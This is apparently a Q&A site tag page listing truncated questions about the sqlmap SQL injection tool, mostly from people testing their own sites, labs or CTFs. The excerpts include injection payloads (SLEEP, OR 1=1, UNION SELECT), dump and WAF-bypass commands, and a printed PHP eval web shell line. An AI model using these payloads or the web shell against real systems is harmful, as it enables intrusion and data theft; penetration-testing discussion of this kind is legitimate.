Skip to main content
Share Your Experience: Take the 2024 Developer Survey

Questions tagged [sqlmap]

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

Filter by
Sorted by
Tagged with
0 votes
0 answers
4 views

Is my wesbite stil vulnerable if sqlmap cannot retrieve the database names but CAN successfully inject?

I am (basically) pen-testing my own website, and I do have a new WAF, but have temporarily taken it down in a safe, testing environment (the one on my actual site is still up.) This is the same site ...
security_paranoid's user avatar
1 vote
0 answers
48 views

Is it possible to exploit this supposedly boolean-based blind and time-based blind SQLi (sqlmap)?

I recently found a boolean-based blind SQLi and since I'm new to the bug bounty scene - I don't understand what impact I can extract from it. There is a website like example.com/tarif?tableId=136&...
Andrey's user avatar
  • 11
2 votes
1 answer
46 views

sqlmap will not save half dumped data in CSV File?

Is there any way to save half-dumped output in csv file or in table format in sqlmap? Look below image for better understanding. The target is boolean-based blind injection vulnerable. For sure, this ...
Solo's user avatar
  • 41
0 votes
0 answers
50 views

Accidently used --flush-session --batch in sqlmap tool. Need help!

I was working on a target where sqlmap detected boolean based time blind injection. Everything was working perfect but you know it was time blind injection so I knew that this is going to take forever ...
Solo's user avatar
  • 41
2 votes
1 answer
70 views

sqlmap cannot detect a confirmed vulnerability

I have a verified injection which looks like: /page/(SELECT+SLEEP(10)) But sqlmap cannot detect it no matter what. This is how I'm running sqlmap: sqlmap -u 'http://MY-SITE/page/*' --level=5 --risk=3 -...
Sohail Saha's user avatar
1 vote
0 answers
243 views

How to ignore asterisk characters in sqlmap?

I've come across a webpage that uses Iron cookies. These cookies have the exemplary format: Fe26.2**0cdd607945dd1dffb7da0b0bf5f1a7daa6218cbae14cac51dcbd91fb077aeb5b*aOZLCKLhCt0D5IU1qLTtYw*...
Andres R's user avatar
0 votes
0 answers
407 views

SQLmap custom injection point in JSON

The post request like this: POST /api/test/ HTTP/1.1 Host: example.com Cookie: .ASPXAUTH=5B8094E Content-Type: application/json; charset=utf-8 Connection: close Content-Length: 179 {"Verb":...
TSFH's user avatar
  • 13
0 votes
1 answer
2k views

Adding Payload to URL-based SQL Injection: Seeking Guidance and Best Practices

I recently performed a vulnerability assessment on a system using ZAP (Zed Attack Proxy) and received a finding indicating a likely SQL injection vulnerability. The query time is controllable using ...
Floppa's user avatar
  • 11
0 votes
0 answers
389 views

sqlmap base64 encoded cookie with working manual sql injection

I am trying to automate sql injection using sqlmap by using the following command: sqlmap -r req.txt --dump where req.txt is the request which is captured with Burp Suite. sqlmap couldn't find the ...
alireza sadeghpour's user avatar
1 vote
1 answer
588 views

What's the difference between dynamic and static parameters in Sqlmap?

What are the practical differences between them? i.e. a parameter referred to as being "dynamic" and "not dynamic"?
fdku's user avatar
  • 11
0 votes
1 answer
231 views

How to use sqlmap when the injectable parameter is not a regular parameter?

I have a target website, which parameter is not a regular parameter, which looks like: POST /some_url 'info={"actual_parameter1": "abc", "actual_parameter2": "def&...
Siwei's user avatar
  • 101
0 votes
0 answers
585 views

sql injection in Microsoft SQL Server 2017 problem retrieving db names

While I was pentesting, I came across a blind sql injection in a website that uses IIS. I tried this payload " AND 11=11 AND ('Hlua'='Hlua" and it works and it gives success page then i ...
ben39's user avatar
  • 1
0 votes
1 answer
1k views

sqlmap verbose level

pretty much on every resource I go, it says the sqlmap's verbose value -v can be from 1 to 6 and default is 1, I try to look anywhere to see the difference between those values, but I can not find any ...
C.Unbay's user avatar
  • 207
0 votes
1 answer
114 views

How spamming entries in website database using the same IP address is possible?

I am working in a private company as VAPT Auditor. I am currently testing one of our project website which contains common features like login, sign up, etc. I mostly do manual testing using BurpSuite ...
Solo's user avatar
  • 41
0 votes
0 answers
371 views

sqlmap tampered payload doesn't insert correctly

My problem is that I have made my own tampered payload that should convert the actual payload to hex format. You can see from the log that the tampered payload is correct, but in the post data "...
Sortekonan's user avatar
2 votes
1 answer
763 views

SQLi - how to dump data without knowing table & field names?

A rather specific question, but I'm trying to SQL inject a vulnerable web app to enumerate data. I have permission to do this. The gist of it is there are some params, lets say 4 of them being sent to ...
A. Trevelyan's user avatar
2 votes
0 answers
286 views

Sql injection extract random bits instead of actual data

I was performing SQL injection through sqlmap and it showed that the parameter is vulnerable but it is only extracting random bits instead of actual data. I am pasting extracted material here. [00:12:...
Skull dev's user avatar
-1 votes
1 answer
1k views

How to use sqlmap while website uses multiple redirects

I am testing a publicly available site https://example.com/ebill/login.php where I fill the form with account number, like 34413271 and a cookie is assigned for later urls to use, then the above URL ...
Learner's user avatar
  • 59
0 votes
1 answer
2k views

SQLMAP setting parameter

I am testing my own flask application that should be vulnerable. I am using this in SQlmap: sqlmap -u "https://test.heroku.com/checkusername/student*" but the requests with payloads I am ...
fagner nunes's user avatar
0 votes
1 answer
172 views

Why are MySQL injections more limited than MS-SQL attacks?

I was watching the DEFCON 17: Advanced SQL Injection video here. At 15:00, when discussing the various classes and types of SQL injection attackS, the speaker stated With MySQL you really only have ...
questioner's user avatar
1 vote
1 answer
6k views

sqlmap is encountering 403 forbidden

I am trying to complete an SQL injection CTF here. I confirmed just adding a single ' mark at the end of the URL caused a MySQL syntax error, and following this tutorial, I could complete this ...
questioner's user avatar
0 votes
0 answers
1k views

How does the --os-shell parameter in Sqlmap work? Is it still anonymous over Tor?

How does the --os-shell parameter in Sqlmap work? I know its uploading a backdoor, but how is Sqlmap uploading it and is the file just a normal reverse shell trojan? Also, is it still anonymous when ...
UndercoverDog's user avatar
0 votes
1 answer
190 views

What is the wisdom of using the ASCII function in exploit SQLi?

I mean, I can exploit the vulnerability using a substring function and without using an ASCII function like: SELECT username FROM users WHERE id = 1 AND (SELECT substring(password,1,1) FROM users ...
Abdrrhmen's user avatar
1 vote
1 answer
2k views

How secure and anonymous is the --tor parameter in Sqlmap?

How secure and anonymous is the --tor parameter in Sqlmap? Does it really send every request over Tor and does it have any IP/DNS/STUN requests leak loopholes?
UndercoverDog's user avatar
0 votes
0 answers
492 views

How to modify a database through SQL injection UNION?

I need help with an sqli exercise. I used sqlmap to find a UNION vulnerability. I managed to get the H2 version with this payload: string') UNION ALL SELECT NULL,H2VERSION(),NULL,NULL,NULL-- But I ...
ilich262's user avatar
0 votes
1 answer
1k views

Cloudflare SQLinjection protection

I'm testing for vulnerabilities for a specific site using sqlmap. However, the site has a cloudflare firewall which blocks queries including for example *, ANY or OR. I sort of found a bypass while ...
nonetype's user avatar
0 votes
0 answers
925 views

SQLMAP payloads don't work manually, why?

I was trying out SQLMAP on DVWA (medium security for SQL injection), and I did get a set of payloads (sqlmap chucked out a few payloads that should have worked). But entered manually, I couldn't get ...
kellyr's user avatar
  • 1
2 votes
1 answer
530 views

API Sql Injection

I need some help with an SQL injection at an API. Webserver IIS 8.5 The GET request looks like this ... https://example.com/api/Search?q=Landing The Response looks like this HTTP/1.1 200 OK ... [{&...
Ricky's user avatar
  • 21
0 votes
1 answer
153 views

Sqlmapapi configuring task options

I'm trying to make scans using Sqlmapapi. I have added a new task, and when I call /option/$taskId/list in response, I receive JSON output with options that can be set. I could not find any ...
Bidon47's user avatar
0 votes
0 answers
2k views

Sqlmap, All tested parameters do not appear to be injectable

I am new to SQLMAP, I have been practicing with the Altoro Mutual portal which is a vulnerable portal, just enter the code 'OR 1 = 1 - in one of its forms (Login) and we will obtain administrator ...
Antuanct's user avatar
0 votes
1 answer
545 views

Sqlmap won't pick up injection point. Tweak?

I manually found an injection point, on CTF VM, located on POST form. I found it with the following manual payload : 1' OR SLEEP(1)-- t I would like to use sqlmap. I ended with following call : ...
nbonniot's user avatar
  • 103
1 vote
1 answer
4k views

Using sqlmap for detecting SQLi on Juice shop's login page

New Sqlmap user, so please be patient :) I've started looking at the tool and I'm curious about its use. For instance, the login page of OWASP's Juice shop is vulnerable to sql injection (' OR 1=1-- ...
Luis Abreu's user avatar
1 vote
2 answers
5k views

How to configure SQLMap to attack JSON parameter?

Part of a box I'm doing, I can successfully pass basic SQL query 'or'1'='1 with no errors, {"search":"'or'1'='1"} Output: HTTP/1.0 200 OK Trying to error the query {"search&...
mansk1es's user avatar
1 vote
0 answers
983 views

Can sqlmap be used to extract data if the attack is blind?

I'm solving this challenge/lab where SQLi is inside the cookie parameter. After solving it manually, I thought to check if it can extract data. I used sqlmap with --cookie=COOKIE* (Notice * that's the ...
Mike's user avatar
  • 11
1 vote
0 answers
1k views

Is it possible to enumerate Microsoft Access database using sqlmap?

I'm trying to enumerate a Microsoft Access database using sqlmap, in particular I run this command: sqlmap -r http.txt --risk 2 --dump-all Anyway it seems is not retrieving a single information. Am I ...
Maicake's user avatar
  • 567
1 vote
1 answer
5k views

Sqlmap Sleepy User-Agent

I was testing Burp Suite Crawl on some old php sites I made and it found Sleepy User-Agent SQL injection vulnerability User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, ...
Marek's user avatar
  • 11
1 vote
1 answer
978 views

SQLi Filter Bypass with banned table/column names

I've studying and practicing different approach to SQLi filter bypass and I faced a challenge. What if the WAF filters look for specific strings rather than SQL keywords? Example: Filter: /UNION/ SQLi:...
Cob013's user avatar
  • 143
0 votes
0 answers
461 views

Understanding sqlmap's payload for blind sql injection

I am fairly new to sql injections and tried to solve a little hackit to understand everything better. I wasn't able to solve one of the levels so I ran sqlmap to see what it would do. The payloads ...
cybel's user avatar
  • 111
0 votes
0 answers
710 views

Why does sqlmap dump column ids only?

I have accessed a database and using --is-dba , I know that the user IS NOT database admin and also using --privileges , I know that the privileges is USAGE . Now I want to know is this the reason ...
Mr Pro's user avatar
  • 51
3 votes
1 answer
1k views

Paths in web servers

Using sqlmap I was able to gain access to one database and using --current-user and --privileges. I can confirm that the user is root@localhost with full privileges. The part I have problem with is ...
Mr Pro's user avatar
  • 51
4 votes
2 answers
19k views

Never use stored session in sqlmap

I am trying to make sqlmap to avoid fetch data from stored session. How do I achieve that? I have performed sqlmap check once on a target and now that target is offline, I want sqlmap to just stop the ...
Sanjay Prajapat's user avatar
-1 votes
1 answer
2k views

How to continue performing checks on a site if sqlmap found an issue on a URL of the same site while using --batch option?

I have a file /tmp/urls which has following URLs: http://127.0.0.1:8081/?id=1 http://127.0.0.1:8081/?id2=1 I am using this command to perform checks on file URLs concurrently: python3 sqlmap.py --...
Sanjay Prajapat's user avatar
1 vote
1 answer
2k views

How can I dump the last row of a table? [closed]

Now in order to be familiar with a site's table , I need to dump the last row of a table named "account" . can you please tell me what parameters I can use to dump only the last row of a ...
Mr Pro's user avatar
  • 51
0 votes
1 answer
8k views

sqlmap won't give me results i'm looking for [closed]

I am trying to use sqlmap. Although every time I use it, I just get a response of: [13:39:11] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS [13:39:11] [...
Mr. Cow's user avatar
0 votes
1 answer
2k views

SQLMap Only Returns information_schema

I run this command python sqlmap.py -u https://acme.com/post.php --data "id=1" --tamper="between,randomcase,space2comment" -v 3 --random-agent --dbs but SQLMap only returns ...
maximillian1's user avatar
0 votes
0 answers
956 views

Sqlmap not detects error based injection

I am working on Hack the VM (hard machine) for my OSCP preparation There is a web app with two drop down boxes.. Year and month.. both contain numbers and a submit to fetch data from DB based on year ...
Badddy's user avatar
  • 53
0 votes
0 answers
38 views

.php code in .txt file with eval() function [duplicate]

I have found three files with name as below: a.phpfile.txt b.phpfile.txt c.phpfile.txt when i open, each file contained with the following code: <?php @eval($_POST[x]); I have deleted all ...
Abdul Rahman's user avatar
0 votes
0 answers
353 views

SQLmap automation

I'm automating SQL injection using sqlmap. Is there someone who managed to parse sqlmap console output to only report critical findings (vulnerable pages to SQL injection)? The tool doesn't support ...
ikenahimm's user avatar
0 votes
0 answers
2k views

Sqlmap waf bypass

This is my first post here, sorry for my english. Im making some test around, because i want to learn more about sql injection. Im not really good as manual sql injection, so im using sqlmap. what ...
Tessaiga's user avatar
0 votes
1 answer
5k views

SQLmap finds injectable 'id' parameter but the response is 'Internal Server Error'

I am trying to understand the SQLi so I ran SQLMap with '-vvv' parameter 4: Show also HTTP requests. I did scan one of the vulnerable and 'free to hack' sites. In one of the requests sent, the ...
bip0larf0xiE's user avatar